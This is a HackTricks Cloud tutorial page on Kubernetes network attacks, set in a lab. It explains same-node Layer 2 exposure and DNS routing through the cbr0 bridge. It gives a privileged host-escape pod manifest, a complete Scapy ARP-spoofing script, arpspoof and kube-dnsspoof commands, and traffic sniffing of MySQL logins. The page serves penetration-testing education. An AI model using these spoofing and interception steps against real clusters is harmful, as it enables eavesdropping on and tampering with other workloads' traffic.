HackTricks Cloud
HackTricks Cloud
HackTricks CloudAfrikaans - Ht CloudChinese - Ht CloudEspañol - Ht CloudFrançais - Ht CloudGerman - Ht CloudGreek - Ht CloudHindi - Ht CloudItalian - Ht CloudJapanese - Ht CloudKorean - Ht CloudPolish - Ht CloudPortuguês - Ht CloudSerbian - Ht CloudSwahili - Ht CloudTurkish - Ht CloudUkranian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor
HackTricks TrainingTwitterLinkedinSponsor
  • 👽Welcome!
    • HackTricks Cloud
    • About the Author
    • HackTricks Values & faq
  • 🏭Pentesting CI/CD
    • Pentesting CI/CD Methodology
    • Github Security
      • Abusing Github Actions
        • Gh Actions - Artifact Poisoning
        • GH Actions - Cache Poisoning
        • Gh Actions - Context Script Injections
      • Accessible Deleted Data in Github
      • Basic Github Information
    • Gitea Security
      • Basic Gitea Information
    • Concourse Security
      • Concourse Architecture
      • Concourse Lab Creation
      • Concourse Enumeration & Attacks
    • CircleCI Security
    • TravisCI Security
      • Basic TravisCI Information
    • Jenkins Security
      • Basic Jenkins Information
      • Jenkins RCE with Groovy Script
      • Jenkins RCE Creating/Modifying Project
      • Jenkins RCE Creating/Modifying Pipeline
      • Jenkins Arbitrary File Read to RCE via "Remember Me"
      • Jenkins Dumping Secrets from Groovy
    • Apache Airflow Security
      • Airflow Configuration
      • Airflow RBAC
    • Terraform Security
    • Atlantis Security
    • Cloudflare Security
      • Cloudflare Domains
      • Cloudflare Zero Trust Network
    • Okta Security
      • Okta Hardening
    • Supabase Security
    • Ansible Tower / AWX / Automation controller Security
    • TODO
  • ⛈️Pentesting Cloud
    • Pentesting Cloud Methodology
    • Kubernetes Pentesting
      • Kubernetes Basics
      • Pentesting Kubernetes Services
        • Kubelet Authentication & Authorization
      • Exposing Services in Kubernetes
      • Attacking Kubernetes from inside a Pod
      • Kubernetes Enumeration
      • Kubernetes Role-Based Access Control(RBAC)
      • Abusing Roles/ClusterRoles in Kubernetes
        • Pod Escape Privileges
        • Kubernetes Roles Abuse Lab
      • Kubernetes Namespace Escalation
      • Kubernetes External Secret Operator
      • Kubernetes Pivoting to Clouds
      • Kubernetes Network Attacks
      • Kubernetes Hardening
        • Kubernetes SecurityContext(s)
      • Kubernetes OPA Gatekeeper
        • Kubernetes OPA Gatekeeper bypass
      • Kubernetes Kyverno
        • Kubernetes Kyverno bypass
      • Kubernetes ValidatingWebhookConfiguration
    • GCP Pentesting
      • GCP - Basic Information
        • GCP - Federation Abuse
      • GCP - Permissions for a Pentest
      • GCP - Post Exploitation
        • GCP - App Engine Post Exploitation
        • GCP - Artifact Registry Post Exploitation
        • GCP - Cloud Build Post Exploitation
        • GCP - Cloud Functions Post Exploitation
        • GCP - Cloud Run Post Exploitation
        • GCP - Cloud Shell Post Exploitation
        • GCP - Cloud SQL Post Exploitation
        • GCP - Compute Post Exploitation
        • GCP - Filestore Post Exploitation
        • GCP - IAM Post Exploitation
        • GCP - KMS Post Exploitation
        • GCP - Logging Post Exploitation
        • GCP - Monitoring Post Exploitation
        • GCP - Pub/Sub Post Exploitation
        • GCP - Secretmanager Post Exploitation
        • GCP - Security Post Exploitation
        • GCP - Workflows Post Exploitation
        • GCP - Storage Post Exploitation
      • GCP - Privilege Escalation
        • GCP - Apikeys Privesc
        • GCP - AppEngine Privesc
        • GCP - Artifact Registry Privesc
        • GCP - Batch Privesc
        • GCP - BigQuery Privesc
        • GCP - ClientAuthConfig Privesc
        • GCP - Cloudbuild Privesc
        • GCP - Cloudfunctions Privesc
        • GCP - Cloudidentity Privesc
        • GCP - Cloud Scheduler Privesc
        • GCP - Compute Privesc
          • GCP - Add Custom SSH Metadata
        • GCP - Composer Privesc
        • GCP - Container Privesc
        • GCP - Deploymentmaneger Privesc
        • GCP - IAM Privesc
        • GCP - KMS Privesc
        • GCP - Orgpolicy Privesc
        • GCP - Pubsub Privesc
        • GCP - Resourcemanager Privesc
        • GCP - Run Privesc
        • GCP - Secretmanager Privesc
        • GCP - Serviceusage Privesc
        • GCP - Sourcerepos Privesc
        • GCP - Storage Privesc
        • GCP - Workflows Privesc
        • GCP - Generic Permissions Privesc
        • GCP - Network Docker Escape
        • GCP - local privilege escalation ssh pivoting
      • GCP - Persistence
        • GCP - API Keys Persistence
        • GCP - App Engine Persistence
        • GCP - Artifact Registry Persistence
        • GCP - BigQuery Persistence
        • GCP - Cloud Functions Persistence
        • GCP - Cloud Run Persistence
        • GCP - Cloud Shell Persistence
        • GCP - Cloud SQL Persistence
        • GCP - Compute Persistence
        • GCP - Dataflow Persistence
        • GCP - Filestore Persistence
        • GCP - Logging Persistence
        • GCP - Secret Manager Persistence
        • GCP - Storage Persistence
        • GCP - Token Persistance
      • GCP - Services
        • GCP - AI Platform Enum
        • GCP - API Keys Enum
        • GCP - App Engine Enum
        • GCP - Artifact Registry Enum
        • GCP - Batch Enum
        • GCP - Bigquery Enum
        • GCP - Bigtable Enum
        • GCP - Cloud Build Enum
        • GCP - Cloud Functions Enum
        • GCP - Cloud Run Enum
        • GCP - Cloud Shell Enum
        • GCP - Cloud SQL Enum
        • GCP - Cloud Scheduler Enum
        • GCP - Compute Enum
          • GCP - Compute Instances
          • GCP - VPC & Networking
        • GCP - Composer Enum
        • GCP - Containers & GKE Enum
        • GCP - DNS Enum
        • GCP - Filestore Enum
        • GCP - Firebase Enum
        • GCP - Firestore Enum
        • GCP - IAM, Principals & Org Policies Enum
        • GCP - KMS Enum
        • GCP - Logging Enum
        • GCP - Memorystore Enum
        • GCP - Monitoring Enum
        • GCP - Pub/Sub Enum
        • GCP - Secrets Manager Enum
        • GCP - Security Enum
        • GCP - Source Repositories Enum
        • GCP - Spanner Enum
        • GCP - Stackdriver Enum
        • GCP - Storage Enum
        • GCP - Workflows Enum
      • GCP <--> Workspace Pivoting
        • GCP - Understanding Domain-Wide Delegation
      • GCP - Unauthenticated Enum & Access
        • GCP - API Keys Unauthenticated Enum
        • GCP - App Engine Unauthenticated Enum
        • GCP - Artifact Registry Unauthenticated Enum
        • GCP - Cloud Build Unauthenticated Enum
        • GCP - Cloud Functions Unauthenticated Enum
        • GCP - Cloud Run Unauthenticated Enum
        • GCP - Cloud SQL Unauthenticated Enum
        • GCP - Compute Unauthenticated Enum
        • GCP - IAM, Principals & Org Unauthenticated Enum
        • GCP - Source Repositories Unauthenticated Enum
        • GCP - Storage Unauthenticated Enum
          • GCP - Public Buckets Privilege Escalation
    • GWS - Workspace Pentesting
      • GWS - Post Exploitation
      • GWS - Persistence
      • GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
        • GWS - Admin Directory Sync
        • GCDS - Google Cloud Directory Sync
        • GCPW - Google Credential Provider for Windows
        • GPS - Google Password Sync
      • GWS - Google Platforms Phishing
        • GWS - App Scripts
    • AWS Pentesting
      • AWS - Basic Information
        • AWS - Federation Abuse
      • AWS - Permissions for a Pentest
      • AWS - Persistence
        • AWS - API Gateway Persistence
        • AWS - Cognito Persistence
        • AWS - DynamoDB Persistence
        • AWS - EC2 Persistence
        • AWS - ECR Persistence
        • AWS - ECS Persistence
        • AWS - Elastic Beanstalk Persistence
        • AWS - EFS Persistence
        • AWS - IAM Persistence
        • AWS - KMS Persistence
        • AWS - Lambda Persistence
          • AWS - Abusing Lambda Extensions
          • AWS - Lambda Layers Persistence
        • AWS - Lightsail Persistence
        • AWS - RDS Persistence
        • AWS - S3 Persistence
        • AWS - SNS Persistence
        • AWS - Secrets Manager Persistence
        • AWS - SQS Persistence
        • AWS - SSM Perssitence
        • AWS - Step Functions Persistence
        • AWS - STS Persistence
      • AWS - Post Exploitation
        • AWS - API Gateway Post Exploitation
        • AWS - CloudFront Post Exploitation
        • AWS - CodeBuild Post Exploitation
          • AWS Codebuild - Token Leakage
        • AWS - Control Tower Post Exploitation
        • AWS - DLM Post Exploitation
        • AWS - DynamoDB Post Exploitation
        • AWS - EC2, EBS, SSM & VPC Post Exploitation
          • AWS - EBS Snapshot Dump
          • AWS - Malicious VPC Mirror
        • AWS - ECR Post Exploitation
        • AWS - ECS Post Exploitation
        • AWS - EFS Post Exploitation
        • AWS - EKS Post Exploitation
        • AWS - Elastic Beanstalk Post Exploitation
        • AWS - IAM Post Exploitation
        • AWS - KMS Post Exploitation
        • AWS - Lambda Post Exploitation
          • AWS - Steal Lambda Requests
        • AWS - Lightsail Post Exploitation
        • AWS - Organizations Post Exploitation
        • AWS - RDS Post Exploitation
        • AWS - S3 Post Exploitation
        • AWS - Secrets Manager Post Exploitation
        • AWS - SES Post Exploitation
        • AWS - SNS Post Exploitation
        • AWS - SQS Post Exploitation
        • AWS - SSO & identitystore Post Exploitation
        • AWS - Step Functions Post Exploitation
        • AWS - STS Post Exploitation
        • AWS - VPN Post Exploitation
      • AWS - Privilege Escalation
        • AWS - Apigateway Privesc
        • AWS - Chime Privesc
        • AWS - Codebuild Privesc
        • AWS - Codepipeline Privesc
        • AWS - Codestar Privesc
          • codestar:CreateProject, codestar:AssociateTeamMember
          • iam:PassRole, codestar:CreateProject
        • AWS - Cloudformation Privesc
          • iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
        • AWS - Cognito Privesc
        • AWS - Datapipeline Privesc
        • AWS - Directory Services Privesc
        • AWS - DynamoDB Privesc
        • AWS - EBS Privesc
        • AWS - EC2 Privesc
        • AWS - ECR Privesc
        • AWS - ECS Privesc
        • AWS - EFS Privesc
        • AWS - Elastic Beanstalk Privesc
        • AWS - EMR Privesc
        • AWS - EventBridge Scheduler Privesc
        • AWS - Gamelift
        • AWS - Glue Privesc
        • AWS - IAM Privesc
        • AWS - KMS Privesc
        • AWS - Lambda Privesc
        • AWS - Lightsail Privesc
        • AWS - Mediapackage Privesc
        • AWS - MQ Privesc
        • AWS - MSK Privesc
        • AWS - RDS Privesc
        • AWS - Redshift Privesc
        • AWS - Route53 Privesc
        • AWS - SNS Privesc
        • AWS - SQS Privesc
        • AWS - SSO & identitystore Privesc
        • AWS - Organizations Privesc
        • AWS - S3 Privesc
        • AWS - Sagemaker Privesc
        • AWS - Secrets Manager Privesc
        • AWS - SSM Privesc
        • AWS - Step Functions Privesc
        • AWS - STS Privesc
        • AWS - WorkDocs Privesc
      • AWS - Services
        • AWS - Security & Detection Services
          • AWS - CloudTrail Enum
          • AWS - CloudWatch Enum
          • AWS - Config Enum
          • AWS - Control Tower Enum
          • AWS - Cost Explorer Enum
          • AWS - Detective Enum
          • AWS - Firewall Manager Enum
          • AWS - GuardDuty Enum
          • AWS - Inspector Enum
          • AWS - Macie Enum
          • AWS - Security Hub Enum
          • AWS - Shield Enum
          • AWS - Trusted Advisor Enum
          • AWS - WAF Enum
        • AWS - API Gateway Enum
        • AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)
        • AWS - CloudFormation & Codestar Enum
        • AWS - CloudHSM Enum
        • AWS - CloudFront Enum
        • AWS - Codebuild Enum
        • AWS - Cognito Enum
          • Cognito Identity Pools
          • Cognito User Pools
        • AWS - DataPipeline, CodePipeline & CodeCommit Enum
        • AWS - Directory Services / WorkDocs Enum
        • AWS - DocumentDB Enum
        • AWS - DynamoDB Enum
        • AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
          • AWS - Nitro Enum
          • AWS - VPC & Networking Basic Information
        • AWS - ECR Enum
        • AWS - ECS Enum
        • AWS - EKS Enum
        • AWS - Elastic Beanstalk Enum
        • AWS - ElastiCache
        • AWS - EMR Enum
        • AWS - EFS Enum
        • AWS - EventBridge Scheduler Enum
        • AWS - Kinesis Data Firehose Enum
        • AWS - IAM, Identity Center & SSO Enum
        • AWS - KMS Enum
        • AWS - Lambda Enum
        • AWS - Lightsail Enum
        • AWS - MQ Enum
        • AWS - MSK Enum
        • AWS - Organizations Enum
        • AWS - Redshift Enum
        • AWS - Relational Database (RDS) Enum
        • AWS - Route53 Enum
        • AWS - Secrets Manager Enum
        • AWS - SES Enum
        • AWS - SNS Enum
        • AWS - SQS Enum
        • AWS - S3, Athena & Glacier Enum
        • AWS - Step Functions Enum
        • AWS - STS Enum
        • AWS - Other Services Enum
      • AWS - Unauthenticated Enum & Access
        • AWS - Accounts Unauthenticated Enum
        • AWS - API Gateway Unauthenticated Enum
        • AWS - Cloudfront Unauthenticated Enum
        • AWS - Cognito Unauthenticated Enum
        • AWS - CodeBuild Unauthenticated Access
        • AWS - DocumentDB Unauthenticated Enum
        • AWS - DynamoDB Unauthenticated Access
        • AWS - EC2 Unauthenticated Enum
        • AWS - ECR Unauthenticated Enum
        • AWS - ECS Unauthenticated Enum
        • AWS - Elastic Beanstalk Unauthenticated Enum
        • AWS - Elasticsearch Unauthenticated Enum
        • AWS - IAM & STS Unauthenticated Enum
        • AWS - Identity Center & SSO Unauthenticated Enum
        • AWS - IoT Unauthenticated Enum
        • AWS - Kinesis Video Unauthenticated Enum
        • AWS - Lambda Unauthenticated Access
        • AWS - Media Unauthenticated Enum
        • AWS - MQ Unauthenticated Enum
        • AWS - MSK Unauthenticated Enum
        • AWS - RDS Unauthenticated Enum
        • AWS - Redshift Unauthenticated Enum
        • AWS - SQS Unauthenticated Enum
        • AWS - SNS Unauthenticated Enum
        • AWS - S3 Unauthenticated Enum
    • Azure Pentesting
      • Az - Basic Information
        • Az - Tokens & Public Applications
      • Az - Enumeration Tools
      • Az - Unauthenticated Enum & Initial Entry
        • Az - OAuth Apps Phishing
        • Az - Device Code Authentication Phishing
        • Az - Password Spraying
      • Az - Services
        • Az - Entra ID (AzureAD) & Azure IAM
        • Az - Management Groups, Subscriptions & Resource Groups
        • Az - ACR
        • Az - Application Proxy
        • Az - ARM Templates / Deployments
        • Az - Automation Account
          • Az - State Configuration RCE
        • Az - Azure App Service & Function Apps
        • Az - Storage Accounts & Blobs
        • Az - File Shares
        • Az - Table Storage
        • Az - Queue Storage
        • Az - Service Bus
        • Az - Intune
        • Az - Key Vault
        • Az - Logic Apps
        • Az - SQL
        • Az - Virtual Machines & Network
          • Az - Azure Network
      • Az - Permissions for a Pentest
      • Az - Lateral Movement (Cloud - On-Prem)
        • Az AD Connect - Hybrid Identity
          • Az- Synchronising New Users
          • Az - Default Applications
          • Az - Cloud Kerberos Trust
          • Az - Federation
          • Az - PHS - Password Hash Sync
          • Az - PTA - Pass-through Authentication
          • Az - Seamless SSO
          • Az - Arc vulnerable GPO Deploy Script
        • Az - Local Cloud Credentials
        • Az - Pass the Cookie
        • Az - Pass the Certificate
        • Az - Pass the PRT
        • Az - Phishing Primary Refresh Token (Microsoft Entra)
        • Az - Processes Memory Access Token
        • Az - Primary Refresh Token (PRT)
      • Az - Post Exploitation
        • Az - Key Vault Post Exploitation
        • Az - File Share Post Exploitation
        • Az - Table Storage Post Exploitation
        • Az - Blob Storage Post Exploitation
        • Az - Queue Storage Post Exploitation
        • Az - Service Bus Post Exploitation
      • Az - Privilege Escalation
        • Az - Azure IAM Privesc (Authorization)
        • Az - EntraID Privesc
          • Az - Conditional Access Policies & MFA Bypass
          • Az - Dynamic Groups Privesc
        • Az - Key Vault Privesc
        • Az - Queue Storage Privesc
        • Az - Service Bus Privesc
        • Az - Storage Privesc
      • Az - Persistence
        • Az - Storage Persistence
        • Az - Queue Storage Persistence
      • Az - Device Registration
    • Digital Ocean Pentesting
      • DO - Basic Information
      • DO - Permissions for a Pentest
      • DO - Services
        • DO - Apps
        • DO - Container Registry
        • DO - Databases
        • DO - Droplets
        • DO - Functions
        • DO - Images
        • DO - Kubernetes (DOKS)
        • DO - Networking
        • DO - Projects
        • DO - Spaces
        • DO - Volumes
    • IBM Cloud Pentesting
      • IBM - Hyper Protect Crypto Services
      • IBM - Hyper Protect Virtual Server
      • IBM - Basic Information
    • OpenShift Pentesting
      • OpenShift - Basic information
      • Openshift - SCC
      • OpenShift - Jenkins
        • OpenShift - Jenkins Build Pod Override
      • OpenShift - Privilege Escalation
        • OpenShift - Missing Service Account
        • OpenShift - Tekton
        • OpenShift - SCC bypass
  • 🛫Pentesting Network Services
    • HackTricks Pentesting Network
    • HackTricks Pentesting Services
Powered by GitBook
On this page
  • Introduction
  • Basic Kubernetes Networking
  • ARP
  • DNS
  • ARP Spoofing in pods in the same Node
  • Scapy
  • ARPSpoof
  • DNS Spoofing
  • Capturing Traffic
  • References

Was this helpful?

Edit on GitHub

Kubernetes Network Attacks

PreviousKubernetes Pivoting to CloudsNextKubernetes Hardening

Last updated 4 months ago

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Introduction

In Kubernetes, it is observed that a default behavior permits the establishment of connections between all containers residing on the same node. This applies irrespective of the namespace distinctions. Such connectivity extends down to Layer 2 (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a malicious container to execute an ARP spoofing attack against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.

ARP spoofing attacks involve the attacker sending falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of the attacker's MAC address with the IP address of a legitimate computer or server on the network. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.

In the scenario 4 machines are going to be created:

  • ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)

  • ubuntu-attack: Malicious container in default namespace

  • ubuntu-victim: Victim machine in kube-system namespace

  • mysql: Victim machine in default namespace

echo 'apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-pe
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-pe
    securityContext:
      allowPrivilegeEscalation: true
      privileged: true
      runAsUser: 0 
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never 
  hostIPC: true 
  hostNetwork: true 
  hostPID: true 
  volumes:
  - name: host-volume
    hostPath:
      path: /
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-attack
  labels:
    app: ubuntu
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-attack
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-victim
  namespace: kube-system
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-victim
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: mysql
spec:
  containers:
  - image: mysql:5.6
    ports:
      - containerPort: 3306
    imagePullPolicy: IfNotPresent
    name: mysql
    env:
      - name: MYSQL_ROOT_PASSWORD
        value: mysql
  restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basic Kubernetes Networking

If you want more details about the networking topics introduced here, go to the references.

ARP

Generally speaking, pod-to-pod networking inside the node is available via a bridge that connects all pods. This bridge is called “cbr0”. (Some network plugins will install their own bridge.) The cbr0 can also handle ARP (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.

This fact implies that, by default, every pod running in the same node is going to be able to communicate with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).

Therefore, it's possible to perform ARP Spoofing attacks between pods in the same node.

DNS

In kubernetes environments you will usually find 1 (or more) DNS services running usually in the kube-system namespace:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
                   kubernetes.io/cluster-service=true
                   kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
                   prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

In the previous info you can see something interesting, the IP of the service is 10.96.0.10 but the IP of the pod running the service is 172.17.0.2.

If you check the DNS address inside any pod you will find something like this:

cat /etc/resolv.conf
nameserver 10.96.0.10

However, the pod doesn't know how to get to that address because the pod range in this case is 172.17.0.10/26.

Therefore, the pod will send the DNS requests to the address 10.96.0.10 which will be translated by the cbr0 to 172.17.0.2.

This means that a DNS request of a pod is always going to go the bridge to translate the service IP to the endpoint IP, even if the DNS server is in the same subnetwork as the pod.

Knowing this, and knowing ARP attacks are possible, a pod in a node is going to be able to intercept the traffic between each pod in the subnetwork and the bridge and modify the DNS responses from the DNS server (DNS Spoofing).

Moreover, if the DNS server is in the same node as the attacker, the attacker can intercept all the DNS request of any pod in the cluster (between the DNS server and the bridge) and modify the responses.

ARP Spoofing in pods in the same Node

Our goal is to steal at least the communication from the ubuntu-victim to the mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
	arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
	targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
	return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
	spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
	send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
	packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
	send(packet, verbose=False)
	print("ARP Table restored to normal for", targetip)

def main():
	targetip= input("Enter Target IP:")
	gatewayip= input("Enter Gateway IP:")

	try:
		targetmac= getmac(targetip)
		print("Target MAC", targetmac)
	except:
		print("Target machine did not respond to ARP broadcast")
		quit()

	try:
		gatewaymac= getmac(gatewayip)
		print("Gateway MAC:", gatewaymac)
	except:
		print("Gateway is unreachable")
		quit()
	try:
		print("Sending spoofed ARP responses")
		while True:
			spoofarpcache(targetip, targetmac, gatewayip)
			spoofarpcache(gatewayip, gatewaymac, targetip)
	except KeyboardInterrupt:
		print("ARP spoofing stopped")
		restorearp(gatewayip, gatewaymac, targetip, targetmac)
		restorearp(targetip, targetmac, gatewayip, gatewaymac)
		quit()

if __name__=="__main__":
	main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

As it was already mentioned, if you compromise a pod in the same node of the DNS server pod, you can MitM with ARPSpoofing the bridge and the DNS pod and modify all the DNS responses.

You have a really nice tool and tutorial to test this in https://github.com/danielsagi/kube-dnsspoof/

In our scenario, download the tool in the attacker pod and create a **file named hosts ** with the domains you want to spoof like:

cat hosts
google.com. 1.1.1.1

Perform the attack to the ubuntu-victim machine:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

If you try to create your own DNS spoofing script, if you just modify the the DNS response that is not going to work, because the response is going to have a src IP the IP address of the malicious pod and won't be accepted. You need to generate a new DNS packet with the src IP of the DNS where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).

Capturing Traffic

The tool Mizu is a simple-yet-powerful API traffic viewer for Kubernetes enabling you to view all API communication between microservices to help your debug and troubleshoot regressions. It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).

References

  • https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1

  • https://blog.aquasec.com/dns-spoofing-kubernetes-clusters

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)